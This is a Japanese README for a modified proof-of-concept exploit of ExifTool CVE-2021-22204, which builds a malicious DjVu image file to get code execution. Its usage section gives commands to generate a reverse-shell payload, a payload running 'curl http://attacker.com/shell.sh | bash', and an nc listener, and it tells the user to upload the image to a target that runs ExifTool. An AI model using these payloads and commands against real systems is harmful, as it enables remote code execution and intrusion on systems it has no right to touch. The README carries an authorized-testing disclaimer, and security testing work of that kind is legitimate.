
ExifTool RCEエクスプロイト(CVE-2021-22204) - 改良版、exiftool依存なし
CVE-2021-22204 の改良版 Proof-of-Concept です。これは ExifTool バージョン 7.44 から 12.23 における脆弱性で、悪意のある DjVu ファイルを処理する際に任意のコード実行を可能にします。
これは派生作品です。脆弱性および元のエクスプロイトは私のものではありません。
| 役割 | 誰 |
|---|---|
| 脆弱性の発見者 | William Bowling (@wcbowling)、GitLab バグ報奨金プログラムを通じて報告 — 2021年4月 |
| オリジナル PoC 作成者 | UNICORD (NicPWNs & Dev-Yeoj) |
| このリポジトリでの改変者 | d4ytox |
ExifTool バージョン 7.44 から 12.23 における DjVu ファイル形式のユーザーデータの不適切な無害化により、悪意のある画像を解析する際に任意のコード実行が可能になります。このエクスプロイトは、脆弱性のある ExifTool バージョンで処理されると攻撃者が制御するコードを実行する悪意のある画像ファイルを生成します。
UNICORDev/exploit-CVE-2021-22204 を基に構築:
exiftool -config を使用しますが、自身の ExifTool がパッチ適用済み(v12.24+)の場合に失敗します。このバージョンは djvumake のみを使用して純粋な DjVu ペイロードを構築します。\c エスケープシーケンス警告を修正)djvulibre-bin パッケージのみが必要これらは既存のエクスプロイトに対する工学的な変更です。脆弱性研究の主張はありません。
sudo apt install djvulibre-bin
リバースシェル:
python3 exploit.py -s <LHOST> <LPORT>
カスタムコマンド:
python3 exploit.py -c "id > /tmp/pwned"
例:
# リバースシェルのペイロードを生成
python3 exploit.py -s 192.168.1.100 4444
# コマンド実行ペイロードを生成
python3 exploit.py -c "curl http://attacker.com/shell.sh | bash"
# リスナーを起動してコールバックを待機
nc -nlvp 4444
このエクスプロイトは image.jpg を生成します。これを ExifTool が処理するターゲットにアップロードしてください。
このツールは教育目的および許可されたセキュリティテスト専用に提供されています。
作者はこのツールの誤用または損害について一切の責任を負いません。このエクスプロイトは、所有しているシステムまたは明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。
コンピュータシステムへの不正アクセスは違法であり、法律で罰せられます。責任を持って使用してください。
MIT ライセンスは、このリポジトリの改変部分にのみ適用されます。上流の PoC にはライセンスが付与されていないため、その作者による全著作権が留保されます。完全な帰属表示については LICENSE を参照してください。